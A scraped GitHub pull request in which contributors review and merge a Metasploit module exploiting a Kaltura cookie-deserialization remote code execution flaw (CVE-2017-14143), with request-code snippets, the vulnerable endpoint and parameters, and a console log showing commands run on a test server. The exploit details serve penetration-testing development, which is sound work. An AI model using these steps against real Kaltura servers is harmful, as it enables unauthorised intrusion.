Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143) #9114

rverton · 2017-10-23T10:25:00Z

This PR adds a module to exploit the Kaltura <= 13.1.0 RCE via a cookie deserialization.

Verification example

mdisec · 2017-10-23T11:14:01Z

It's awesome to see that people continue the work and pick up the flag from where we left it.

mdisec · 2017-10-23T11:21:38Z

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{entry_id}"),


Use vars_get for GET parameters.
Use normalize_uri(target_uri.path, 'index.php', 'keditorservices, 'getAllEntries') format. normalize_uri will concatenate them for you.

Example: #8980

Using the 'keditorservices,getAllEntries' syntax did not work, but 'keditorservices', 'getAllEntries' did.

Personally I do not find this cleaner than 'index.php/keditorservices/getAllEntries', but I will stick with the (slightly adjusted) suggestion from you now.

Oh, I guess it was a typo ;)

Yes, it was typo sorry. Also, this was what maintainers suggested to me when I send my first PR ;)

mdisec · 2017-10-23T11:22:13Z

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

+
+    res = send_request_cgi(
+      'method' => 'GET',
+      'uri' => normalize_uri(target_uri.path, "index.php/keditorservices/getAllEntries?list_type=15&entry_id=#{entry_id}"),


Same here.

Use vars_get for GET parameters.
Use normalize_uri(target_uri.path, 'index.php', 'keditorservices, 'getAllEntries') format. normalize_uri will concatenate them for you.

Example: #8980

mdisec · 2017-10-23T11:23:42Z

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

+    if res and res.redirect?
+      print_error("Got a redirect, maybe you are not using https? #{res.headers['Location']}")
+    elsif res and res.code != 200
+        print_error("Unexpected response...")


Use single quote. print_error('Unexpected response...')

mdisec · 2017-10-23T11:28:35Z

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

+    )
+  end
+
+  def check


As far as I can understand, you need to use valid entry_id. So why don't you directly send HTTP request to the [target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_28bwo20l and look for 0_28bwo20l at the returned XML file.

Valid entryid:
http://[target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_28bwo20l

Response

<assets> <asset id="0_28bwo20l" name="PAISD Mobile App Video" media_type="1" kshow_id="0_duymlto7" url="/content/entry/data/4/278/0_28bwo20l_" ready="1" thumbnail_path="/content/entry/thumbnail/4/278/0_28bwo20l_100001.jpg" credit="rpicon" source_link="file:/opt/kaltura/web/content/uploads/8221424122327.1663_1wfwuh0mo0wck8ccgokg.mov_.mov" duration="283" list_type="show" contributor_screen_name="ANONYMOUS"/> </assets>

Unvalid entryid:
http://[target.com]/index.php/keditorservices/getAllEntries?list_type=15&entry_id=0_ffffffff

response

<assets> </assets>

mdisec · 2017-10-23T11:39:30Z

Also adding module documentation to this PR would be awesome.

mdisec · 2017-10-23T19:50:57Z

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

@@ -85,12 +89,29 @@ def check
      Exploit::CheckCode::Safe
    elsif res && res.body.include?(r)
      Exploit::CheckCode::Vulnerable
+    elsif not self.check_entryid()


Do you really need to use self and () in here ? I sense python developer in here :-)

Shouldn't we check validity of entry_id way before ? I would call check_entryid at the very beginning of check and exploit functions.

I want to keep the number of requests as low as possible, so check should only test for an invalid id if the request before failed and exploit should not check for a valid id every time a call is made. I'll remove the self. and ().

mdisec · 2017-10-23T19:56:31Z

modules/exploits/linux/http/kaltura_unserialize_cookie_rce.rb

+      'vars_get' => {
+        'list_type' => '15',
+        'entry_id' => entry_id
+      },
      'headers' => {
        'Cookie' => "userzone=#{encoded}#{hash}"


Instead of defining cookie within headers, you could directly use it as a parameter of send_request_cgi method.
Example

res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'blabla'), 'cookie' => cookie })

bwatters-r7 · 2017-11-13T18:46:03Z

Hi there; would you please add documentation to this PR? You can see more about it here: https://github.com/rapid7/metasploit-framework/wiki/Writing-Module-Documentation

Pushpamk · 2017-11-13T19:31:37Z

@bwatters-r7 Where should I attach documentation for this PR?

bwatters-r7 · 2017-11-13T19:42:16Z

@Pushpamk, please add a separate markdown document as specified in the guidance:

Save the file and name it after the module name. For example, the filename for ms08-067 is modules/exploits/windows/smb/ms08_067_netapi.rb, so its documentation is documentation/modules/exploits/windows/smb/ms08_067_netapi.md

rverton · 2017-11-20T18:56:26Z

Sorry, I'm late to the party. I see @Pushpamk already made a new PR for this, awesome! Is there still something needed from me?

bwatters-r7 · 2017-11-20T19:44:18Z

@rverton no worries; I love to see the community coming together! I have not gotten a chance to dig too much into this, but a quick run of rubocop (https://github.com/rapid7/metasploit-framework/wiki/Using-Rubocop) shows there are some stylistic hiccups in the code that could stand updates. The only thing I saw that I'd say has to change is some indention mix-ups around line 142. If you get a chance, please check out that wiki article and run the code through rubocop for some stylistic changes. Not everything rubocop flags needs to be changed, as the document states, but I do take rubocop's suggestions to heart when I can. Otherwise, this just needs me to finish up some other tasks so it comes up in my queue. Thanks!

rverton · 2017-11-21T13:32:09Z

@bwatters-r7 all right, I just added the stylistic things suggested from rubocop. I hope this fits better now ;)

bwatters-r7 · 2017-11-28T21:18:51Z

I ran through https://github.com/kaltura/platform-install-packages/blob/Mercury-13.8.0/doc/install-kaltura-deb-based.md to try and install kaltura, but it failed both times, probably because I'm unfamiliar with the application. Is there an easier/faster installer around?

rverton · 2017-11-28T21:31:44Z

Setting up kaltura was time-consuming. I failed several times until I noticed that you need to have a good amount of memory available, otherwise it will fail with strange error messages during the installation. The setup script is also error prone. I don't have a faster way to install, sorry :/

bwatters-r7 · 2017-11-28T22:54:47Z

When you say "a good amount," can you quantify that? 1GB, 8 GB? 32 GB?

rverton · 2017-11-29T09:56:56Z

A 512MB VM failed for me, a 2GB one worked.

bwatters-r7 · 2018-01-10T20:58:10Z

If you have a pcap of this working, please send it in. I have not had time to try building Kaltura again.

rverton · 2018-01-10T21:08:30Z

Hi @bwatters-r7,
I agree, building an old version is time consuming. I found an old Kaltura version here in a Vagrant machine. It's 13.4 but with the old and vulnerable kalturaAction.class.php file before it was fixed here.

This is the execution:

$ cat msf.rc 
use exploit/linux/http/kaltura_unserialize_cookie_rce
set RHOST pwnbox
set RPORT 8080
set PAYLOAD generic/custom
set PAYLOADSTR "system('id');"
set ENTRYID 0_b45ita8n
check
run
exit
$ msfconsole -r msf.rc 
[...snip...]
[*] Processing msf.rc for ERB directives.
resource (msf.rc)> use exploit/linux/http/kaltura_unserialize_cookie_rce
resource (msf.rc)> set RHOST pwnbox
RHOST => pwnbox
resource (msf.rc)> set RPORT 8080
RPORT => 8080
resource (msf.rc)> set PAYLOAD generic/custom
PAYLOAD => generic/custom
resource (msf.rc)> set PAYLOADSTR "system('id');"
PAYLOADSTR => system('id');
resource (msf.rc)> set ENTRYID 0_b45ita8n
ENTRYID => 0_b45ita8n
resource (msf.rc)> check
[+] pwnbox:8080 The target is vulnerable.
resource (msf.rc)> run
[*] Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

[*] Exploit completed, but no session was created.
resource (msf.rc)> exit

I also attached a tcpdump:
kaltura_rce.dump.zip

bwatters-r7 · 2018-01-10T21:12:08Z

Thanks, @rverton! Likely not going to get to it this week, but I will try to review it next week.

Merge branch 'land-9114' into upstream-master

bwatters-r7 · 2018-01-23T18:38:00Z

Release Notes

The exploits/linux/http/kaltura_unserialize_cookie_rce module has been added to the framework. It allows remote code execution through Kaltura video server software versions prior to 13.1.0. A valid entry_id is required for this exploit, and can be obtained from any media resource published on the kaltura installation.

Merge branch 'land-9114' into upstream-master

Add Kaltura <= 13.1.0 RCE (CVE-2017-14143)

30a86a1

mdisec approved these changes Oct 23, 2017

View reviewed changes

Add entry_id verification; clean up http request calls

0ac7e09

bwatters-r7 added module needs-docs labels Oct 23, 2017

mdisec reviewed Oct 23, 2017

View reviewed changes

Refactor send_request_cgi request

7fd7337

Pushpamk mentioned this pull request Nov 13, 2017

Documentation for Kaltura <= 13.1.0 RCE (CVE-2017-14143) #9205

Merged

bwatters-r7 removed the needs-docs label Nov 15, 2017

bwatters-r7 self-assigned this Nov 15, 2017

Use stylistic suggestions from rubocop

52356e0

bwatters-r7 merged commit 52356e0 into rapid7:master Jan 23, 2018

bwatters-r7 added a commit that referenced this pull request Jan 23, 2018

Land #9114, Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)

685a950

Merge branch 'land-9114' into upstream-master

jmartin-tech pushed a commit to jmartin-tech/metasploit-framework that referenced this pull request Jan 24, 2018

Land rapid7#9114, Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)

488b7c2

Merge branch 'land-9114' into upstream-master

jmartin-tech pushed a commit to jmartin-tech/metasploit-framework that referenced this pull request Jan 24, 2018

Land rapid7#9114, Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143)

a136841

Merge branch 'land-9114' into upstream-master

allrosenthal-r7 added the rn-exploit label Feb 6, 2018

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143) #9114

Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143) #9114

rverton commented Oct 23, 2017 •

edited

Loading

mdisec commented Oct 23, 2017

mdisec Oct 23, 2017

rverton Oct 23, 2017

rverton Oct 23, 2017

mdisec Oct 23, 2017

mdisec Oct 23, 2017

mdisec Oct 23, 2017

mdisec Oct 23, 2017

mdisec commented Oct 23, 2017

mdisec Oct 23, 2017

mdisec Oct 23, 2017

rverton Oct 24, 2017

mdisec Oct 23, 2017

bwatters-r7 commented Nov 13, 2017

Pushpamk commented Nov 13, 2017 •

edited

Loading

bwatters-r7 commented Nov 13, 2017

rverton commented Nov 20, 2017

bwatters-r7 commented Nov 20, 2017

rverton commented Nov 21, 2017

bwatters-r7 commented Nov 28, 2017

rverton commented Nov 28, 2017

bwatters-r7 commented Nov 28, 2017 •

edited

Loading

rverton commented Nov 29, 2017

bwatters-r7 commented Jan 10, 2018

rverton commented Jan 10, 2018

bwatters-r7 commented Jan 10, 2018

bwatters-r7 commented Jan 23, 2018 •

edited by allrosenthal-r7

Loading

Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143) #9114

Add module for Kaltura <= 13.1.0 RCE (CVE-2017-14143) #9114

Conversation

rverton commented Oct 23, 2017 • edited Loading

Verification example

mdisec commented Oct 23, 2017

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

mdisec commented Oct 23, 2017

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

bwatters-r7 commented Nov 13, 2017

Pushpamk commented Nov 13, 2017 • edited Loading

bwatters-r7 commented Nov 13, 2017

rverton commented Nov 20, 2017

bwatters-r7 commented Nov 20, 2017

rverton commented Nov 21, 2017

bwatters-r7 commented Nov 28, 2017

rverton commented Nov 28, 2017

bwatters-r7 commented Nov 28, 2017 • edited Loading

rverton commented Nov 29, 2017

bwatters-r7 commented Jan 10, 2018

rverton commented Jan 10, 2018

bwatters-r7 commented Jan 10, 2018

bwatters-r7 commented Jan 23, 2018 • edited by allrosenthal-r7 Loading

Release Notes

rverton commented Oct 23, 2017 •

edited

Loading

Pushpamk commented Nov 13, 2017 •

edited

Loading

bwatters-r7 commented Nov 28, 2017 •

edited

Loading

bwatters-r7 commented Jan 23, 2018 •

edited by allrosenthal-r7

Loading